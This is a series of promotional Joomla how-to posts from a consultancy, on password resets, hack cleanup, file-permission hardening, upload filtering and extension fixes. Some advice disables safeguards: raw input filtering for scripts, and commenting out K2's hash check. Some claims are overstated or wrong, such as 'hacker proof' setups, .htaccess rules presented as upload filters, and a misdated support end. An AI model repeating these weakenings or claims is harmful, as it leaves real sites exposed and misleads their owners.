If you don’t understand the above line, then this method is not for you. Read on!

Method #3: Reset the password through phpMyAdmin

This method is the easiest one so far. If you’re familiar with phpMyAdmin, then here’s what you need to do:

  • Go to your database’s phpMyAdmin.

  • Open the table jos_users. (Replace jos_ with your database’s prefix defined in your configuration.php file)

  • Search for the row that has your information (your username) and open that row for editing.

  • Choose md5 from the drop down next to password. (See Figure 1 below)

  • Enter your password (we chose the password to be itoctopus in our example below) and then click on Save at the bottom of the page

Update the user's password in phpMyAdmin

Figure 1: Updating the user’s password through phpMyAdmin (by using md5 as hash function)

Method #4: Call some Joomla experts

If you don’t have the necessary technical skills, then we suggest you ask for help, and in the Joomla world, help is easy to find. All you need to is to contact some Joomla experts and they’ll gladly do the above for you.

If you’d rather go with Method #4, then all you need to is to contact us! We have been working on Joomla for many years now and we know it inside out! Our code is solid, our estimates are real, and our rates are very affordable, and we’re the friendliest programmers on this planet! What are you waiting for?

How to Allow Modules to Save JavaScript Code in Joomla 2.5

Yesterday we were working on the migration of a very old website. That website had a simple module that was programmed to display, on the website, whatever it had in the field JavaScript Code. As the name suggests, that field contained some JavaScript code. When we migrated the module to Joomla 2.5, we ran into a small issue: <script> tags were stripped from the code whenever we hit on Save. We weren’t using any editor for the field and we were logged in as super administrators and the Filter Type for super administrators was set to No Filtering (you can find the Filter Type field by logging in to the backend, and then clicking on Site -> Global Configuration on the upper top menu, and then clicking on Text Filters on the middle top menu) which means that there shouldn’t be any logical reason why Joomla would strip the JavaScript code. But it was…

So we investigated a bit, and we discovered that Joomla 2.5, was set to clean (e.g. filter) all the input submitted through modules, unless it was told not to… So, the question is now, how do you tell Joomla not to do so?

Well, it’s very easy. All you need to do is to modify the filter type of the field (that you wish to add the JavaScript code to) in the manifest (the manifest file is the XML file that defines the extension. [which fields are needed, what are their types, which files should be included with the extension, etc...] Every extension must have an XML file, which must be located in the root of the installation package, and must have the same name as the name of the extension.) The filter type must be set to raw.

For example, if the following line defines the field javascript_code in your manifest file:

<field name="javascript_code" type="textarea" rows="20" cols="80" default="" label="JavaScript Code" description="Add your JavaScript code here" />

Then it should be changed to:

<field name="javascript_code" type="textarea" rows="20" cols="80" default="" filter="raw" label="JavaScript Code" description="Add your JavaScript code here" />

And that’s it! Now your module can save any code!

While we think that the above can be done by a non-programmer, we have to warn you that making a mistake anywhere can break your module, so it’s better to make a backup that you can revert to in case something goes wrong. If you would rather do this work yourself (which is admittedly a bit technical), then, as usual, you can contact us! We’re always there, we’re always happy to serve, we’re Joomla experts, and we our fees are very affordable!

How to Quickly Fix a Hacked Joomla Website

Note: This post is very advanced and is targeted at programmers. If you’re not a programmer, you can ask us to do the below for you.

As of May of last year, we are often getting several hacked Joomla websites a day to clean. In this post, we are going to share with our readers/clients how to quickly do that.

In many cases, the Joomla website is hacked because one or more of its core files are hacked – which means that to fix the hack, one has to clean those files. But the question is, how can one find out which files were hacked?

Well, nearly always, hackers like to hide their malicious code in an encrypted form – and then decrypt that code usually using the built-in PHP function base64_decode. So, in order to find out which files were hacked, one has to write a script to search the Joomla files for the base64_decode function and detect if the files containing the function have it for legitimate reasons.

But, is it really necessary to search all the files? We think it’s not only not necessary (was that a double negative?), it’s also not practical. This is because Joomla has thousands of files and running a script that will search every single file might take a long time. Additionally, searching all the files might return a lot of false positives, which means that weeding them out and finding the culprit(s) can be a highly tedious process.

A better way to find the offending files is to search only the files that are being loaded on the affected page. So the process for cleaning up your Joomla website will be something as the below:

  • Get a list of all the files that are being loaded in the index.php (we have described the process here).
  • Just after getting the list of the files that were loaded, create a script that will search each and every one of these files for the base64_decode function.

  • Once you have the list of the files containing the above function, do a visual check on the code of each of the files in the list for anything that may seem fishy (we suggest to check the content of each file with the content of an identical file in an equivalent, and clean, installation of Joomla). Keep going through the list even if you find the offending file, as there may be more than one.

  • Cleanup all offending files.

  • That’s it!

Some caveats:

  • Some hacked websites may contain several malicious files that will re-infect the core files even after cleaning them up. Be sure to change the permissions to 0444 on all core files and make sure you use DSO for your Joomla website so as to block these malicious files from writing to your core Joomla files.

  • Some files containing the base64_decode function are purely malicious files (e.g. they shouldn’t even exist). These files should be deleted immediately.

  • Make sure you backup the website before doing the above. As fixing or deleting a false positive can render your website inoperable.

As you can see, unhacking a Joomla website is not that hard if you have the right programming skills – but if you don’t, or if you just don’t have the time to do it, then we’re here to help! Just contact us and we’ll fix your website immediately. Our prices are right, our work is professional and clean, and we are the friendliest programmers out there!

How to Add a Shortcut Icon to the Backend Menu in Joomla 2.5

One of our clients asked to add a shortcut icon to K2 in the top menu. As some might know, there’s a Joomla module that already does that, so we just downloaded that module and installed it and that was it! But we thought, what if such a module didn’t exist, or what if a client wanted to add a shortcut to a lesser known component that doesn’t have such a module already developed? So we decided to explain, in details, how to do that.

Now, before we begin, we want to explain two concepts:

  • You can add functionality to Joomla’s backend using administrator modules. Administrator modules work more or less the same way as site modules (which are the most common), but they only apply to admin templates.

  • Administrator templates are technically the same as site templates. In other words, they have what you call “positions”, which are placeholders to place modules.

So, how can one develop an administrator’s module in Joomla?

Well, it’s very easy. All one needs is to develop a simple, ordinary module, and, in the XML file, replace the following line:

<extension type="module" client="site" version="2.5" method="upgrade">

with this one:

<extension type="module" client="administrator" version="2.5" method="upgrade">

And that’s it!

So, the code for the shortcut_icon.xml file will be the following:

<?xml version="1.0" encoding="utf-8"?>
	<extension type="module" client="administrator" version="2.5" method="upgrade">
	<name>Shortcut Icon</name>
	<author>itoctopus</author>
	<creationDate>2012</creationDate>
	<copyright>Developed by itoctopus</copyright>
	<license>Free</license>
	<version>1</version>
	<description>This module displays a shortcut icon (to be used to link to your component of your choice)
in the backend to be placed next to the top menu.</description>
	<files>
		<filename module="shortcut_icon">shortcut_icon.php</filename>
		<filename>shortcut_icon.png</filename>
	</files>
</extension>

The PHP file (shortcut_icon.php) is as easy as the below:

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
$rootURL = JURI::root();
echo '<a href="'.$rootURL.'/administrator/index.php?option=com_[your_component]"><img src="modules/mod_shortcut_icon/shortcut_icon.png" border="0"/></a>';
?>

Now all one needs is to choose a png image, rename it to shortcut_icon.png, pack all 3 files (shortcut_icon.xml, shortcut_icon.php, and shortcut_icon.png) into one file, called shortcut_icon.zip, and finally load that file into Joomla’s Extension Manager (which will effectively install the module).

How to make the shortcut icon module display next to the top menu?

This is the easy part. First go to Extensions -> Module Manager and then choose Administrator instead of Site from the first dropdown. This will list all the backend modules. Now search for shortcut_icon next to Filter and you’ll see the module that you’ve just installed. Now click on the name of that module, choose menu as position, publish the module, and then save it. Now you will the shortcut icon appearing next to your backend’s menu (on the top). Easy, huh?

As you can see, the process is not that hard, but it requires some programming skills as well as some technical Joomla knowledge (although we did our best to simplify everything!). So, in case you want to do the above and you feel that it’s a bit over your head, then fear not, all you need to is to contact us and we’ll do it for you in no time. By the way, you don’t have to worry about our prices, they are very affordable!

Warning: Joomla 2.5 and Joomla 3.0 Do Not Have the Same Infrastructure

Very early in the morning today, one of our regular customers came to us and told us that his website was down because of a “missing field” in the jos_content (of course, jos_ was not his real prefix) table. We checked his website and we were greeted by an error complaining about an unknown column called a.title_alias in a certain query. We searched for the file containing the offending query, and it was the article.php file located under the /components/com_content/models/ directory. We compared that file to that of a clean installation of Joomla 2.5, and they were identical!

We then looked at the database using phpMyAdmin, and, as expected, the field did not exist in the jos_content table. But, should that field exist in the first place? In order to answer this question, we checked the mysql installation file (that file is called joomla.sql and is located under the /installation/sql/mysql folder) for Joomla 2.5 and we discovered that the field existed in the declaration of the jos_content table, which means that the field should be there. But how come it’s not there?

After thorough investigation, we discovered that the client had a Joomla 3.0 website, did not like it, and tried to use Joomla 2.5 instead. Here’s what he did:

  • He moved the actual physical directory of his Joomla website (his Joomla website was directly located in the public_html directory) to another temp directory.

  • He extracted Joomla 2.5 to the public_html directory.

  • He removed the installation folder from the Joomla 2.5 website, and then copied the templates and the images directory from the Joomla 3.0 website (his old website) to the Joomla 2.5 website (his new website). He also copied the configuration.php file from the old website to the new website.

He did the above because he was under the impression that while the filesystem may have differed from Joomla 2.5 to Joomla 3.0, the database infrastructure was the same – while in fact, it’s not!

What did we do to resolve the problem?

In order to resolve the issue, we reverted our client’s work. Here’s how:

  • We moved the contents of his public_html directory to another directory.
  • We extracted the latest copy of Joomla 3.0 to his public_html directory.

  • We then copied the images and the templates directories from his old (original website) to the new one, as well as the configuration.php file.

  • We removed the installation folder and then copied the directories of some extensions from the old website to the new website (these extensions were installed in the original 3.0 Joomla website and existed in the database, but did not physically exist in the new website).

  • Since our client was using hostgator, we added the following line to the .htaccess file of the Joomla website:

    AddType application/x-httpd-php53 .php

    Without the above line, the Joomla website will throw the following error:

    Your host needs to use php 5.3.1 or higher to run this version of Joomla.

    Note that from our experience, this step should only be done when you’re using hostgator and installing Joomla 3.0.

  • Once we did the above steps, the problem was fixed and his website worked normally (he was still running Joomla 3.0 though).

So, as you can see from the above, Joomla 2.5 and Joomla 3.0 do not have neither the same filesystem nor the same database, they are two different CMS’s!

If you ran into the same problem and you’re still unable to salvage your Joomla website, then you probably need our help! Just contact us and we’ll prove to you how fast, reliable, and efficient we are. We’re also very affordable! Go ahead, shoot us an email!

What Is the Best Joomla Version?

Note: This post represents an opinion, our opinion, based on the work that we have done on Joomla for the year 2012.

We get asked this question a lot: “What is the best Joomla version?” Back in 2011, we used to say it was Joomla 1.5 – but as of May of 2012, we had a barrage of hacked Joomla websites running the latest Joomla 1.5 version (which is Joomla 1.5.26). As such, we’re no longer able to say that Joomla 1.5 is the best Joomla version out there, because it is no longer secure (we have written an exhaustive post about this).

So, which Joomla version do we consider as the best?

Well, in our opinion, it has to be Joomla 2.5. Here’s why:

  • Security: Joomla 2.5 is always up-to-date when it comes to security because it’s still officially supported (unlike Joomla 1.5), which means that any exploit is usually addressed immediately by the Joomla team (which releases a patch that can be easily applied to any Joomla version to remove that exploit).

  • Easy upgrade: Gone are the days where one has to update his Joomla version manually (using FTP) – with Joomla 2.5, updating the CMS can be done by just clicking a button in the backend and waiting until the magic is done!

  • Solid code: We have to admit that Joomla 1.5’s code was not consistent – even when it comes to its core (this is because Joomla 1.5 still had traces of Mambo, its predecessor CMS, in several key places). Additionally, a lot of the code in Joomla 1.5 is considered deprecated by the latest PHP version and may not work in future PHP versions. Joomla 2.5, on the other hand, is much more consistent (mainly because it dumps all references to Mambo) and its code is future proof with PHP and MySQL.

  • Better ACL: Joomla’s 1.5 ACL was very weak (some say it didn’t even have a real ACL). Joomla’s 2.5 ACL is much more solid (albeit much more complicated) and can be used to develop complex access scenarios.

  • Support until 2014: The Joomla official team has stated that Joomla 2.5 will be supported (officially) until mid 2014. However, from our experience, we know that they will extend this support for an additional year.

  • Seamless migration to Joomla 3.5: The Joomla team has promised a bridge that will seamlessly migrate Joomla 2.5 to Joomla 3.5 in 2014. What’s even more exciting is that most Joomla 2.5 extensions are compatible with Joomla 3.5 – this means that no more (ahem!) paying for developers to migrate your Joomla website to the latest version! (Well, you might still have to pay something, but the amount of money to be paid – and time spent – to migrate your Joomla website from 2.5 to 3.5 should be considerably less than that for migrating your Joomla 1.5 website to Joomla 2.5.

  • A huge library of 3rd party extensions: The number of 3rd party companies who are dropping development for Joomla 1.5 and joining development for Joomla 2.5 is increasing by the day. Additionally, there are many extensions for Joomla 2.5 that are exclusive for that platform and do not even work on Joomla 1.5.

Now some of our readers/clients might wonder, how come we didn’t say that Joomla 3.0 is the best Joomla version? Well, unfortunately, and from our experience, Joomla 3.0 is still far from perfect, and regardless what the Joomla official team might say about it (how stable and reliable it is), we still consider this version of Joomla to be in alpha (or beta at best). We know that migrating to Joomla 3.0 is tempting because of its mobile support, but we recommend to avoid this version until 2014 when Joomla 3.5 is released (which is supposedly a much more stable version).

So, now you know what is the best version of Joomla, which is Joomla 2.5. If your version of Joomla is 1.5 or lower, then you should really think about migrating to Joomla 2.5. If you need help doing this, then all you need to do is to contact us. We’re fast, we’re reliable, we’re Joomla experts, and our prices are very competitive!

Why You Should Use DSO for Joomla Websites

We have discussed suPHP in a previous post, and explained why it should be avoided on Joomla websites because Apache must have full permissions on all files pertaining to Joomla (including core files), leading to major security issues in case there’s a tiny loophole in the Joomla instance.

In that post, we stated that you must use an alternative that is more secure – but we weren’t specific. In this post, we will be revealing that alternative, which is DSO…

DSO (which stands for Dynamically Shared Objects) is (in our humble opinion), the best alternative to suPHP. Here’s why:

  • It gives the system administrator the flexibility for choosing which files can be written by Apache, and which files can’t.
  • The webserver will not return a 500 error message if Apache is not the owner of the file. Instead, real permissions are applied. For example, if Apache has only read permission to a file, then it’ll only be able to read it. If Apache has write permissions to a file, then it can (yes, you’ve guessed it) write to that file. In short, Apache doesn’t need to be the owner of a file in order to use it (read, write, or execute it).

  • A corollary to the previous point is that Apache cannot change the permissions of the files to give itself the necessary permissions to hack the Joomla website (e.g. write access) because it simply isn’t the owner of these files.

So, in order to make your Joomla website hacker proof, here’s what you need to do:

  • Switch to DSO. You can switch to DSO in WHM if you have a WHM based VPS or you can ask your host to do that for you. Please note that some hosts (especially very large ones) may refuse to do that for you particularly if you are using a cheap shared hosting plan.
  • Change ownership of all the files under your Joomla website to root. You can easily do that by logging in as root, and then issuing the following command:

    chown -R root /absolute_directory_to_your_joomla_website

  • Change group ownership of all the files under your Joomla websites to root. Again, this can be easily done with the following (similar to the above) command:

    chgrp -R root /absolute_directory_to_your_joomla_website

  • Change permissions of all the files under your Joomla website to 444. This can be done by issuing the following command at the shell:

    find . -type f -exec chmod 0444 {} \;

  • Change permissions of all the directories under your Joomla website to 755. This can be done by issuing the following command at the shell:

    find . -type d -exec chmod 0755 {} \;

    Give Apache write permissions to the some directories. These directories are:

    • cache
    • images
    • logs
    • tmp

Once you apply the above, you will have a secure website that cannot be hacked, but, unfortunately, there’s a tradeoff for security, which is functionality (yes, there’s no such thing as a complete panacea in any web environment). You will soon realize that you will no longer be able to install extensions, because extensions are installed in the backend of your Joomla website, which uses the apache user, but the apache user doesn’t have write access to any directory that will host the extension that you’re trying to install, including, but not limited to, the following directories:

  • /administrator/components
  • /administrator/modules
  • /administrator/language
  • /administrator/templates
  • /components
  • /modules
  • /language
  • /plugins
  • /templates

So, how can you overcome this problem?

Well, the only solution is to have 2 Joomla instances, one for development (where the user apache has all permissions to all directories), and another one that is for production, where the user apache has limited access (as described above). If you want to install an extension, then you install it on the development website, you test it, and then you sync the database and the filesystem of the production website with that of the development. We consider this process to be the best to ensure that your Joomla website is always secure and clean.

We do recognize, however, that implementing the above process is not that easy, especially if your production website receives a lot of updates, and that’s where we can help! All you need to do is to contact us, and you can rest assured that we’ll help you make your Joomla website a very secure and stable website. Shoot us an email or give us a call, we’re fast, we’re professional, we’re highly experienced in Joomla, and we don’t charge much!

Why suPHP Is Insecure for a Joomla Website

Most of the Joomla websites use suPHP, and yet most of the Joomla websites (with vulnerabilities, e.g. those with version less than the current one, or those that have vulnerable extensions installed) are getting hacked. Is that a coincidence? We think not, and we’ll explain why.

What is suPHP anyway?

suPHP is a tool that “claims” to be secure by allowing only owners of files to run them. For example, if a file is owned by user xyz, only user xyz can run this file. suPHP is usually the tool of choice to run PHP scripts on most cPanel installations.

Why do we think that suPHP is not secure?

As we stated earlier, suPHP requires that the user running any php file must be its owner. In a web environment, since Apache must be able to run all the PHP files under the web directory, then this means that Apache must be the owner of these PHP files (if Apache is stripped ownership of any of the PHP files under the web root, then you will see a “500 – Internal Server Error” when Apache wants to run that file). While that doesn’t sound that bad, imagine the following scenario:

  • You have changed the permissions of all your PHP files (recursively) to 444. You did that the right way, by ssh’ing to your machine, and issuing the following command under the root directory of your website:

    find . -type f -exec chmod 0444 {} \;

    You’re now proud because you think that your website is secure.

  • Your website is powered by a hackable version of Joomla or hosts an exploitable extension. A malicious user takes advantage of this exploit and uploads the file writetoindex.php to the images folder (which is the folder du choix for hackers). The writetoindex.php file simply writes some malicious code to your index.php file.

  • You think that since all your PHP files are read only, then if writetoindex.php is run, it will not be able to modify your index.php file. However, you probably forgot one very important thing: the writetoindex.php file is running as Apache, which is also the owner of index.php, which means that all the script needs to do in order to modify your index.php file is to modify its permissions (before attempting to write to it) using the PHP built-in function chmod. Always remember that the owner of the file can change its permissions whenever he feels like it. (You can reproduce this concept on your Windows machine: Create a text file with some content, right click on it, click on Properties and check the Read-only checkbox next to attributes. Now try to edit it and you’ll find out that you’re not able to. Now go back to the properties of the file and uncheck the Read-only attribute and you’ll be able to edit it again!)

We think that you should only use suPHP when you’re 100% sure that your website does not have any vulnerabilities whatsoever, but in this day and age, can anyone be 100% sure of anything?

So now you’re probably wondering, what’s the solution? The solution, in our (ehemmm) humble opinion, is to not use suPHP at all for your Joomla website, and use something else that is more secure, something that will allow Apache to read PHP files even though they are owned by someone else (that someone else might be root), something that will allow you to protect your Joomla PHP files as described here.

Talk to your host about an suPHP alternative, or better yet, contact us and hire us to do that for you and secure your website. We know the ins and out of Joomla, we have secured many websites before, and we don’t charge much!

Are You Unable to Save Anything in Joomla’s Backend?

A new client called us this afternoon and told us that he’s not able to save anything in the backend of his Joomla website. Articles, categories, menu items, modules, etc… are all not saving. He gave us his Joomla credentials, we logged in to his account, and we verified that he indeed had this problem: clicking on the “Save” button doesn’t do anything. Additionally, there were other issues such as “selection popups” not working (selection popups are those popups where one chooses, for example, an article for a menu item manager of type Single Article).

Clearly, the backend of our new client was completely dysfunctional. But, on the bright side, we have seen this issue before…

You see, any Joomla developer worth his salt knows that when this happens, it usually means that there is a nasty JavaScript error somewhere on the page breaking some critical functionalities on the website. So we looked at Chrome’s console and true enough, we saw this error:

HTMLDivElement Error

Figure 1: HTMLDivElement Error on Google Chrome

Why did that happen? And more importantly, how can this be fixed? After a lot of debugging, we discovered that some of the JavaScript files that our client had in the media directory were not compatible with his Joomla version. Apparently, he just migrated his website to Joomla 2.5 with another company and what they did was that they just copied the media folder from the old Joomla Website to the new Joomla Website, thinking that the media folder only contains images and other non-important stuff (like the images folder).

What did we do to fix the problem?

Fixing the problem, once we knew the cause, was simple. All that we needed to do was to overwrite his media folder with the media folder of a fresh install of a version of a clean Joomla install that was identical to his (yes, we know that this is a long sentence – sorry about that!)

In case you’re having a similar issue on your website, then try to overwrite your media folder of that of a similar (clean) Joomla installation. If that doesn’t work, then probably it’s time to contact us. We’re always there, we’re hard workers, we’re Joomla experts, and we don’t charge much.

How to Override the Default MooTools JavaScript Library in a Module

While migrating a very old Joomla website to version 2.5, we ran into a compatibility issue between the default MooTools library that comes with Joomla 2.5 and a module (the module was mod_jxtc_k2contentwall, for those who really want to know). The module was expecting an older version of MooTools – but what it got was the new version that comes with Joomla 2.5 which was incompatible with that module.

Trying to fix the JavaScript files of that module to to resolve the issue is, to put it delicately, an extremely painful experience. So we decided to do the following:

  • Copy the old MooTools JavaScript file to the directory of the migrated module.
  • Unload (remove) the new MooTools files (there are two) in that module using PHP.

  • Load (add) the old MooTools file in that module (also using PHP).

So, after copying the old MooTools JavaScript file to the module’s directory, we added the following code (in the main file of the module, in our case it was the mod_jxtc_k2contentwall.php file located under the /modules/mod_jxtc_k2contentwall/ directory) in order to unload the default MooTools library and load the old one:

//Step 0 - Get the current document
$document = &JFactory::getDocument();

//Step 1 - Get the root path of your website (this is needed later on in our code)
$rootPath = JURI::root(true);

//Step 2 - Get the current loaded scripts from the document
$arrHead = $document->getHeadData();

//Step 3 - Remove the loaded scripts
unset($arrHead['scripts'][$rootPath.'/media/system/js/mootools-core.js']);
unset($arrHead['scripts'][$rootPath.'/media/system/js/mootools-more.js']);

//Step 4 - Update the head content for the document
$document->setHeadData($arrHead);

//Step 5 - Add the old MooTools file
$document->addScript('modules'.DS.'[yourmoduledirectory]'.DS.'mootools.js');

If you want to override the MooTools library with another library in one of your modules, then all you need to do is to literally copy and paste the above code to that module (of course, you need to change yourmoduledirectory with the directory containing your module). You can also do it globally (for all your website) by just copying and pasting the above code into your index.php file.

But where is the MooTools library loaded?

The MooTools library is loaded in the file behavior.php which is located in the libraries/joomla/html/html directory under your Joomla 2.5 website. It is possible to change the default MooTools library there (line 60 and 61 of that file), but we advise not to do this (unless you really know what you’re doing) because most likely you will run int compatibility issues with newer Joomla extensions that use features of the default MooTools library. Not to mention that we think it’s always a bad idea to change a core file (and behavior.php is a core file).

If you are having conflicts on one (or several) of your pages on your Joomla website between different JavaScript libraries, then try to fix that by using our method above (it applies to all JS files, not just those related to MooTools), and if you need help, rest assured that you can always rely on us. We’re fast, our services are well priced, and we know Joomla inside out! All you need to do is to contact us!

Why We Recommend Against Using Joomla 3.0

A new customer approached us this evening with a problem that is very common on old Joomla versions, the annoying 404 error on the homepage. We thought, that’s odd, this is a very old problem, does it still exist on Joomla 3.0? It wasn’t surprising but it was just…odd!

The first thing that we did was to go the menu item manager and ensure that there is a home menu item (e.g. a menu item that is set to be the homepage). We then thought: maybe the article that it links to doesn’t exist anymore, so we re-chose the same article (it did exist).

We then checked the parent category of the article, it was published and it existed (you will see a 404 problem if the category that the article belongs to is unpublished). What could’ve been wrong?

Needless to say, we spent hours beating around the (wrong) bushes, mainly debugging the article.php file (which is located under the /component/com_content/models directory) because it’s responsible for displaying the article, and because it was throwing the “404 not found” error in line 152:

return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));

The above error was thrown mainly if the article didn’t exist, or if it was unpublished – but we were sure that the article existed and that it was published because we were able to re-select it in the menu item for the homepage. So, we continued searching elsewhere. But after nearly 4 hours, we took a look at the website’s article manager in the backend, and we were surprised to see that that article was actually unpublished! How could that be? We were able to select the article in the menu item (which logically meant that it was published). So we published the article and the site worked!

We then, just out of curiosity (and for a quick second – the website wasn’t live yet anyway), unpublished the article again. We then went to the menu item manager, created a new menu item of type Single Article, and (surprise surprise), we were able to choose that unpublished article!

What does that mean? It means that Joomla 3.0 has a huge bug which has some catastrophic consequences on the stability of the website (by the way our customer was using a Joomla 3.0 version that was released just two weeks ago) – and something tells us that it’s not the only bug, and that’s why we don’t recommend using it at all. We’d say wait at least until 2014 when there’s actually a bridge between Joomla 2.5 to Joomla 3.5 to migrate easily. Joomla 3.0 should not be labeled as a production CMS, we think it’s still in early beta.

If you are using Joomla 3.0 and you’re having problems with it, then we can definitely help you! All you need to do is to contact us and tell us about the problem and we’ll do the rest. Oh, and you don’t need to worry about our fees, they are very competitive!

Beware the Images Folder in Joomla

The images directory is considered to be a harmless directory – after all, what can it contain other than images and other downloadable content? In our experience, the images directory is not as innocent as it seems, in fact, it is, in our opinion, one of the most dangerous directories that can wreak havoc on your website. And no, we’re not crazy (yet). Let us explain…

The media manager in Joomla usually allows the administrator to upload image files (as well as other harmless files) to the images directory. The media manager does not allow the upload of potentially harmful file types, such as PHP scripts. However, hackers have discovered many loopholes in Joomla 1.5.26 and less to allow them to upload PHP files to the images directory. The images folder has become the hackers’ favorite directory to store their (malicious) PHP files (such files are sometimes called index.php, joomla.php, main.php, script.php, etc…)

You might think that uploading a PHP file is not that harmful, but a PHP file can do the following when run from a browser:

  • Delete files (that Apache has permissions on) or nuke whole directories.
  • Change permissions on files directly owned or group owned by Apache.

  • Alter files and inject some malicious code into them.

  • Send spam. (in other words, your website will be a launchpad for spamming).

  • Spy on your website and on your visitors.

  • The list is endless.

So, what can someone do to ensure that the images directory does not pose a threat to his website?

There are several ways that are used to address this problem:

  • Using an .htaccess whitelist: An .htaccess whitelist consists of specifying which filetypes can be uploaded to the website in the .htaccess file. It can be done by adding the following code to the .htaccess file:

    <FilesMatch "\.(jpeg|pdf)$">
    Allow from all
    </FilesMatch>

    The above code means that only files that have a jpeg or a pdf extension are allowed to be uploaded to the website.

  • Using an .htaccess blacklist: An .htaccess blacklist consists of specifying which filetypes are not allowed to be uploaded to the website (it is the inverse of a whiltelist). Any filetype that exists in the blacklist will be rejected for upload. An example of an .htaccess blacklist is the following:

    <FilesMatch "\.(asp|php|php5|pl)$">
    Deny from all
    </FilesMatch>

    The above code means that files that have an asp, a php, a php5, or a pl (pl is Perl, for those who are curious) are not allowed to be uploaded.

  • Create a cron job that will automatically delete scripts from the images directory: In this situation, you’re accepting the fact that your website is vulnerable and you’re reacting to it. We have to admit though that we have seen this implemented successfully but in conjunction with other techniques.

So, which method should the Joomla administrator go with? We think that whitelisting filetypes in the .htaccess file is the best method, and this is because you will have full control over which file types will be uploaded to your server. If you go with a blacklist, you might miss some potentially harmful filetypes. The cron job technique is not that great because you’re really responding to the attacks – as opposed to protecting your website against them.

Now, before you go ahead and add that whitelisting code and assume that everything’s going to be OK from now on, keep in mind that if your website has loopholes elsewhere, then a hacker can simply modify your .htaccess file and easily remove the whitelisting code.

So, here’s what you should do:

  • chown and chgrp all your files to root/root.
  • chmod all your files recursively to 444.

  • chmod all your directories recursively to 755.

  • Allow Apache to write to the following directories: cache, images, logs, and tmp.

We have described these steps here.

After doing the above steps, then you should go with the whitelist technique. Once you do that, the security on your website will be literally hacker proof!

If you have security issues on your website and you need them addressed, then please contact us. We are experts in Joomla and Joomla’s security, we are eager to help, and our fees are very affordable!

404 Error When Trying to Download a K2 Attachment

We got a call this afternoon from a very large company that outsource development work on its Joomla website to us. Everything works fine on their website, except for K2 attachments: a 404 error is display when someone clicks on any link to a K2 attachment.

A quick research on the topic blamed one or all of the following:

  • Joomla’s SEF
  • sh404
  • Cache

As tempting as it is to blame any of the above (especially Joomla’s SEF, which is the root of nearly half of the problems on Joomla), we couldn’t find how they were related to the problem. First, the website wasn’t using SEF and didn’t even have sh404 installed. Second, we disabled caching and cleared the cache as well, but still the problem was still there!

Unfortunately, all the solutions that we found in our research did not work for us (although some people claimed to have successfully implemented these solutions), and so we did our own debugging of the problem, and we discovered that the issue really lied in the file called item.php which is located under the /administrator/components/com_k2/models directory. The problem lied specifically in the following piece of code (line 933 to line 941 of the aforementioned file):

if ($mainframe->isSite())
{
    $token = JRequest::getVar('id');
    $check = JString::substr($token, JString::strpos($token, '_') + 1);
    if ($check != JUtility::getHash($id))
    {
        JError::raiseError(404, JText::_('K2_NOT_FOUND'));
    }
}

If you’re a programmer, you will understand that the above code expects a specific hash in the URL (based on the ID of the attachment). If that hash doesn’t exist, or is not as expected, then Joomla is instructed to throw a 404 error page. We think that this is highly misleading, especially because the K2_NOT_FOUND error does not state that the hash is incorrect or does not exist – it just displays a standard “404 – Not found” error.

So, how can the problem be fixed easily?

To easily fix the problem, all that one needs to do is to comment the above code (by adding “/*” at the beginning of the code and “*/” at its end) in the file item.php and upload it back to the /administrator/components/com_k2/models directory. So the code will be:

/* if ($mainframe->isSite())
{
    $token = JRequest::getVar('id');
    $check = JString::substr($token, JString::strpos($token, '_') + 1);
    if ($check != JUtility::getHash($id))
    {
        JError::raiseError(404, JText::_('K2_NOT_FOUND'));
    }
} */

This will fix the problem in a split second!

But, is there another way to fix the problem without modifying K2’s core?

Yes – there is. All that you need to do is to add the hash in the generated URL. So, if your generated URL is like this:

http://www.yourjoomlawebsite/index.php?option=com_k2&view=item&task=download&id=[id]

Then you should change it to the following:

http://www.yourjoomlawebsite/index.php?option=com_k2&view=item&task=download&id=[id]_[hash] (notice the presence of the underscore)

Where [hash] is the return value of the function JUtility::getHash() when [id] is passed as a parameter. (note that your URL should not contain the brackets, the brakcets are there just to highlight these variables)

Why did we mention the core hack first?

Usually, we recommend against modifying the core – but in this situation, we think that modifying the core is the lesser of two evils, because we believe that K2’s core is wrong. Why? Well, K2 now requests the presence of a hash in the URL (it’s not even an option not to include it), which creates several problems, especially SEF problems, and, in all fairness, the hash has no reason to be there in the first place. Additionally, if you have that download link in several places, then fixing it can be annoying, tedious, and, of course, error prone!

But what if you need help fixing this problem?

If you’re facing the same problem (where K2 attachments are returning a 404 error) then fear not – we’re just either an email or a phone call away! Just contact us and we’ll fix the problem for you as soon as possible. Our fees are affordable, our work is professional, and our we’re very, very fast!

Is Joomla 1.5 Still Supported?

We get many calls nowadays where clients ask us whether Joomla 1.5 is still supported or not. We answer that Joomla 1.5 is no longer officially supported – in fact, the official support for Joomla 1.5, including LTS (LTS stands for Long Term Support) ceased back in September of 2012. STS (Standard Term Support) ceased 5 months earlier (back in April of 2005). In short – the Joomla development team will no longer write a single line of code to fix anything on Joomla 1.5. This means that the latest version is Joomla 1.5.26, and that past that point the Joomla administrator has to migrate the website to Joomla 2.5 (or higher).

Unfortunately, and as we already explained, Joomla 1.5.26 is no longer secure, and new exploits are being discovered periodically. We are nowadays getting 3-4 calls a day about hacked Joomla 1.5 websites (most of these websites are already upgraded to Joomla 1.5.26). The hacks vary from an .htaccess file that keeps being rewritten every 30 minutes or so (and redirecting to malicious websites), to the googlebot Joomla hack that displays different (obscene) content for Google’s indexing bot (which means that the site’s actual content will not be indexed – but rather the obscene content). Oh and lately, we are seeing new hacks on Joomla 1.5 websites where every single PHP file is injected with malicious code. And just today, we fixed a Joomla 1.5.26 website where all the JavaScript files where hacked. The types of hacks that we are seeing (especially on the 1.5.26 version of Joomla) is growing by the week!

But, all is not that dark and there’s always a silver lining! Joomla 1.5 is still unofficially supported by 3rd party companies such as itoctopus. In fact, at itoctopus, we intend to support Joomla 1.5 (even Joomla 1.0) websites for many years to come (many of our clients are still using Joomla 1.5). We joke sometimes and say that we will cease supporting Joomla 1.5 when there are no longer Joomla 1.5 websites on the Internet – which may or may not happen in a decade from now! You might think that a decade is a long time in our business – but trust us – it isn’t; we are still getting customers who are still running Mambo! (Mambo is Joomla’s predecessor, for those who don’t know).

So, if you need help on your Joomla 1.5 website (whatever its size) – any help – then rest assured that there’s still this Montreal company called itoctopus that still supports Joomla 1.5 and that will always be there for you! Just contact us and we’ll prove to you how reliable, friendly, knowledgeable, and professional (yet still affordable) we are!

21 Reasons Why Your Joomla Website Doesn’t Get Traffic

